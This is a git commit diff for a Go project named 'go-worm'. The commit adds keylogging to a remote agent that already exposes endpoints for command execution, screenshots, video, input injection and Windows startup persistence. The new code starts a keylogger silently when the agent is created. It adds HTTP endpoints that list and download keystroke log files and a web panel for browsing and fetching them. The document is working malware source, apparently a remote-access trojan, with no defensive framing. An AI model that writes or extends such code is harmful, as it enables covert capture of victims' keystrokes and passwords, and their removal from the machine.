Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.
This commit is contained in:
@@ -16,6 +16,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||
)
|
||||
|
||||
type Agent struct {
|
||||
@@ -44,10 +45,14 @@ func New() (*Agent, error) {
|
||||
}
|
||||
a.guard = guard
|
||||
input.EnableDPIAwareness()
|
||||
if err := keylog.Start(); err != nil {
|
||||
helpers.Log.Printf("keylog start: %v", err)
|
||||
}
|
||||
return a, nil
|
||||
}
|
||||
|
||||
func (a *Agent) Close() {
|
||||
keylog.Stop()
|
||||
if a.guard != nil {
|
||||
a.guard.Close()
|
||||
}
|
||||
@@ -67,6 +72,8 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
||||
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
||||
|
||||
a.server = &http.Server{
|
||||
Addr: a.addr,
|
||||
|
||||
@@ -19,6 +19,7 @@ import (
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
||||
@@ -48,6 +49,8 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
||||
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
||||
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
||||
"/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
|
||||
"/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
|
||||
},
|
||||
})
|
||||
}
|
||||
@@ -324,3 +327,61 @@ func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, result)
|
||||
}
|
||||
|
||||
func (a *Agent) handleKeylog(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
files, err := keylog.List()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("keylog list: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not list keystroke logs")
|
||||
return
|
||||
}
|
||||
dir, err := keylog.Dir()
|
||||
if err != nil {
|
||||
helpers.Log.Printf("keylog dir: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not resolve keystroke log directory")
|
||||
return
|
||||
}
|
||||
if files == nil {
|
||||
files = []keylog.FileInfo{}
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files})
|
||||
}
|
||||
|
||||
func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
name := r.URL.Query().Get("file")
|
||||
if name == "" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
||||
return
|
||||
}
|
||||
if !keylog.ValidLogFilename(name) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
|
||||
return
|
||||
}
|
||||
file, info, err := keylog.Open(name)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
helpers.WriteError(w, http.StatusNotFound, "log file not found")
|
||||
return
|
||||
}
|
||||
if errors.Is(err, os.ErrInvalid) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "invalid log file name")
|
||||
return
|
||||
}
|
||||
helpers.Log.Printf("keylog download: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not open log file")
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`)
|
||||
w.Header().Set("Accept-Ranges", "bytes")
|
||||
http.ServeContent(w, r, info.Name(), info.ModTime(), file)
|
||||
}
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
const shotGallery = document.getElementById("shot-gallery");
|
||||
const execOut = document.getElementById("exec-out");
|
||||
const execMeta = document.getElementById("exec-meta");
|
||||
const logMeta = document.getElementById("log-meta");
|
||||
const logRows = document.getElementById("log-rows");
|
||||
const startupState = document.getElementById("startup-state");
|
||||
const startupAdd = document.getElementById("startup-add");
|
||||
const startupRemove = document.getElementById("startup-remove");
|
||||
@@ -290,6 +292,31 @@
|
||||
field.value = "";
|
||||
}
|
||||
|
||||
async function listKeylogs() {
|
||||
const res = await api("/api/v1/keylog");
|
||||
const data = await res.json();
|
||||
const files = data.files || [];
|
||||
logMeta.textContent = `${files.length} files · ${data.directory || ""}`;
|
||||
logRows.replaceChildren();
|
||||
for (const file of files) {
|
||||
const tr = document.createElement("tr");
|
||||
const name = document.createElement("td");
|
||||
name.textContent = file.name;
|
||||
const size = document.createElement("td");
|
||||
size.textContent = formatBytes(file.size || 0);
|
||||
const modified = document.createElement("td");
|
||||
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
|
||||
const action = document.createElement("td");
|
||||
const link = document.createElement("a");
|
||||
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`;
|
||||
link.download = file.name;
|
||||
link.textContent = "Download";
|
||||
action.append(link);
|
||||
tr.append(name, size, modified, action);
|
||||
logRows.append(tr);
|
||||
}
|
||||
}
|
||||
|
||||
async function runCommand() {
|
||||
const command = document.getElementById("exec-command").value.trim();
|
||||
const timeout = Number(document.getElementById("exec-timeout").value);
|
||||
@@ -314,6 +341,9 @@
|
||||
if (button.dataset.tab !== "video") {
|
||||
stopVideo();
|
||||
}
|
||||
if (button.dataset.tab === "logs") {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -358,6 +388,9 @@
|
||||
document.getElementById("exec-run").addEventListener("click", () => {
|
||||
runCommand().catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("log-refresh").addEventListener("click", () => {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
|
||||
})();
|
||||
|
||||
@@ -145,6 +145,7 @@
|
||||
<button data-tab="screenshot">Screenshot</button>
|
||||
<button data-tab="video">Video</button>
|
||||
<button data-tab="exec">Command</button>
|
||||
<button data-tab="logs">Logs</button>
|
||||
</nav>
|
||||
<main>
|
||||
<section id="status" class="panel active">
|
||||
@@ -222,6 +223,19 @@
|
||||
<p id="exec-meta" class="meta"></p>
|
||||
<pre id="exec-out"></pre>
|
||||
</section>
|
||||
<section id="logs" class="panel">
|
||||
<div class="row">
|
||||
<h2>Keystroke logs</h2>
|
||||
<button id="log-refresh" class="primary" type="button">Refresh</button>
|
||||
</div>
|
||||
<p id="log-meta" class="meta"></p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>File</th><th>Size</th><th>Modified</th><th></th></tr>
|
||||
</thead>
|
||||
<tbody id="log-rows"></tbody>
|
||||
</table>
|
||||
</section>
|
||||
</main>
|
||||
<script src="/app.js"></script>
|
||||
</body>
|
||||
|
||||
Reference in New Issue
Block a user